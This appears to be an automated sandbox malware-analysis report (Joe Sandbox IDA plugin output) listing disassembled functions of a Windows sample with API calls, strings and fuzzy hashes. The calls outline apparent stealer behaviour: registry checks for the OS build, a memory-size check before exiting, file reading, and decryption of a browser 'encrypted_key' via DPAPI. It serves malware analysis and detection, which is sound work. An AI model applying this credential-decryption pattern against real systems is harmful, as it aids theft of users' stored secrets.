Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 31ba4a9b52ae66b65e43e00cd9c953ecc48c3f07dc5bf7da1f470b90c4e60b6b
Instruction ID: cdbcbf4b9f8a1ecee5159c9abe2ba9d8dffcfa3e02281556f53420590b8fae77
Opcode Fuzzy Hash: 31ba4a9b52ae66b65e43e00cd9c953ecc48c3f07dc5bf7da1f470b90c4e60b6b
Instruction Fuzzy Hash: 7B210A75940218AFDB24DB54DC85FE9B3B9FB48704F00C199E60996140DF756A85CFD4

Function 004047B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Strings

<, xrefs: 004047C9

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: ??2@$CrackInternetlstrlen
String ID: <
API String ID: 1683549937-4251816714
Opcode ID: 116f2b94f3778adbc9308d13d48d12011aa30bb27236a404a583900fa923c872
Instruction ID: 59ffd934fb977a93d501bba2862ecb1df6a0defd032b503e5e890a78b3955a81
Opcode Fuzzy Hash: 116f2b94f3778adbc9308d13d48d12011aa30bb27236a404a583900fa923c872
Instruction Fuzzy Hash: 712149B5D00219ABDF10DFA5E849BDD7B74FF04320F008229F925A7290EB706A15CF95

Function 00417690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004176A4
HeapAlloc.KERNEL32(00000000), ref: 004176AB
RegOpenKeyExA.KERNEL32(80000002,0091D588,00000000,00020119,00000000), ref: 004176DD
RegQueryValueExA.KERNEL32(00000000,00920278,00000000,00000000,?,000000FF), ref: 004176FE
RegCloseKey.ADVAPI32(00000000), ref: 00417708

Strings

Windows 11, xrefs: 004176BD

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3466090806-2517555085
Opcode ID: 31b5ee67880bd1f967030e6ea3d78f3b54130d435c20b4c8c69cbeacade70eac
Instruction ID: 0438ef7ee9a5fbee92b010be2e89678c99e6505f2a73f727aa840deaa157456b
Opcode Fuzzy Hash: 31b5ee67880bd1f967030e6ea3d78f3b54130d435c20b4c8c69cbeacade70eac
Instruction Fuzzy Hash: E0018FBDA80204BFE700DBE0DD49FAEB7BDEB09700F004055FA05D7290E674A9408B55

Function 00417720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417734
HeapAlloc.KERNEL32(00000000), ref: 0041773B
RegOpenKeyExA.KERNEL32(80000002,0091D588,00000000,00020119,004176B9), ref: 0041775B
RegQueryValueExA.KERNEL32(004176B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0041777A
RegCloseKey.ADVAPI32(004176B9), ref: 00417784

Strings

CurrentBuildNumber, xrefs: 00417771

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3466090806-1022791448
Opcode ID: 43a46ff31c4728249bb55ffe5b6c0263db84e810ad24588de6037cbf7116cf65
Instruction ID: 98fe8272c38af2577472084bebc30d651685970d5c5bfe2bd2220dad028592af
Opcode Fuzzy Hash: 43a46ff31c4728249bb55ffe5b6c0263db84e810ad24588de6037cbf7116cf65
Instruction Fuzzy Hash: 0F0144BDA80308BFE710DFE0DC49FAEB7B9EB44704F104159FA05A7281DA7455408F51

Function 004140B0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004140D5
RegOpenKeyExA.KERNEL32(80000001,00920D58,00000000,00020119,?), ref: 004140F4
RegQueryValueExA.ADVAPI32(?,009211B8,00000000,00000000,00000000,000000FF), ref: 00414118
RegCloseKey.ADVAPI32(?), ref: 00414122
lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414147
lstrcatA.KERNEL32(?,00921248), ref: 0041415B

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: 60f7c148d39ee4939a085a329088b5b756eeaff0f31c17fd0e2889d62a8718ba
Instruction ID: 42b23dca6cf9d61fcd17bb79f48ce0988bb9dd5848c5c15250a36de7d2584b3c
Opcode Fuzzy Hash: 60f7c148d39ee4939a085a329088b5b756eeaff0f31c17fd0e2889d62a8718ba
Instruction Fuzzy Hash: 6941B6BAD402087BDB14EBE0DC46FEE777DAB88304F00455DB61A571C1EA795B888B92

Function 00413560 Relevance: 9.1, APIs: 6, Instructions: 122stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00413588

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

strtok_s.MSVCRT ref: 004136D1

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,00918580,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: lstrcpystrtok_s$lstrlen
String ID:
API String ID: 3184129880-0
Opcode ID: 64ab5e27dc640e177239ea1b756d4cc1ada2d3f0f35c5ecd3cd97600b2ebe9e7
Instruction ID: 1d6e97e2126c91d023f3aa3275f065f217875d3b7f18f669bcfd2096c4fc0c60
Opcode Fuzzy Hash: 64ab5e27dc640e177239ea1b756d4cc1ada2d3f0f35c5ecd3cd97600b2ebe9e7
Instruction Fuzzy Hash: C34191B1D00108EFCB04EFE5D945AEEB7B4BF44308F00801EE41676291DB789A56CFAA

Function 004099C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
LocalFree.KERNEL32(004102E7), ref: 00409A90
CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 7104a1ad71f7267fb3f92d709a770ba7d5c34dd003ba373b3d6e6f2e7190c7f7
Instruction ID: ed52a4b53b9c0591db71eabf51b59360b39b3b260bb7ca760b64e801f0f9a50e
Opcode Fuzzy Hash: 7104a1ad71f7267fb3f92d709a770ba7d5c34dd003ba373b3d6e6f2e7190c7f7
Instruction Fuzzy Hash: 02310778A00209EFDB14CF94C985BAEB7B5FF49350F108169E901A7390D778AD41CFA5

Function 00401220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
__aulldiv.LIBCMT ref: 00401258
__aulldiv.LIBCMT ref: 00401266
ExitProcess.KERNEL32 ref: 00401294

Strings

@, xrefs: 00401233

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction ID: f2ded3d157cb35307e0b39d430c96622be3dd75f8d5744ac0086d878f352425a
Opcode Fuzzy Hash: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction Fuzzy Hash: 5901FBB0D84308BAEB10DBE4DC49B9EBB78AB15705F20809EE705B62D0D6785585879D

Function 00409CE0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D39

Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409AEF
Part of subcall function 00409AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00404EEE,00000000,?), ref: 00409B01
Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409B2A
Part of subcall function 00409AC0: LocalFree.KERNEL32(?,?,?,?,00404EEE,00000000,?), ref: 00409B3F

memcmp.MSVCRT(?,DPAPI,00000005), ref: 00409D92

Part of subcall function 00409B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409B84
Part of subcall function 00409B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BA3
Part of subcall function 00409B60: memcpy.MSVCRT(?,?,?), ref: 00409BC6
Part of subcall function 00409B60: LocalFree.KERNEL32(?), ref: 00409BD3

Strings

, xrefs: 00409DC1
DPAPI, xrefs: 00409D89
"encrypted_key":", xrefs: 00409D30

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpymemcmpmemcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 3731072634-738592651
Opcode ID: 68f47abcc5eb6623e645a076bb0a9bdec2c93405b0c0c50e63f4af5dcb573e5c
Instruction ID: 5ad523267ed72994677b79ea1d9dce7d7822fbf486e040e59600fa97cf483dfd
Opcode Fuzzy Hash: 68f47abcc5eb6623e645a076bb0a9bdec2c93405b0c0c50e63f4af5dcb573e5c
Instruction Fuzzy Hash: D53155B5D10109ABCB04EBE4DC85AEF77B8BF44304F14452AE915B7282E7389E04CBA5

Function 6C6DC930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C6DC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C6DC969
GetSystemInfo.KERNEL32(?), ref: 6C6DC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C6DC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C6DC9E2

Memory Dump Source

Source File: 00000000.00000002.2955640771.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000000.00000002.2955623266.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955692333.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955720687.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955749492.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6c0000_T220UXIoKO.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 7b10c12b150b65128b5bb758dbc7213c85ab402017290b37de05157168d9f821
Instruction ID: 3106be2bbb62eecbeaa3708393ccff10b5b68346d1f23fae88d726054f81c405
Opcode Fuzzy Hash: 7b10c12b150b65128b5bb758dbc7213c85ab402017290b37de05157168d9f821
Instruction Fuzzy Hash: D421FF31741618BBD714BA24DC84BAE7379AB8670CF61412BF9079B680D7707C048799

Function 00417E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417E37
HeapAlloc.KERNEL32(00000000), ref: 00417E3E
RegOpenKeyExA.KERNEL32(80000002,0091D5C0,00000000,00020119,?), ref: 00417E5E
RegQueryValueExA.KERNEL32(?,00920BD8,00000000,00000000,000000FF,000000FF), ref: 00417E7F
RegCloseKey.ADVAPI32(?), ref: 00417E92

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
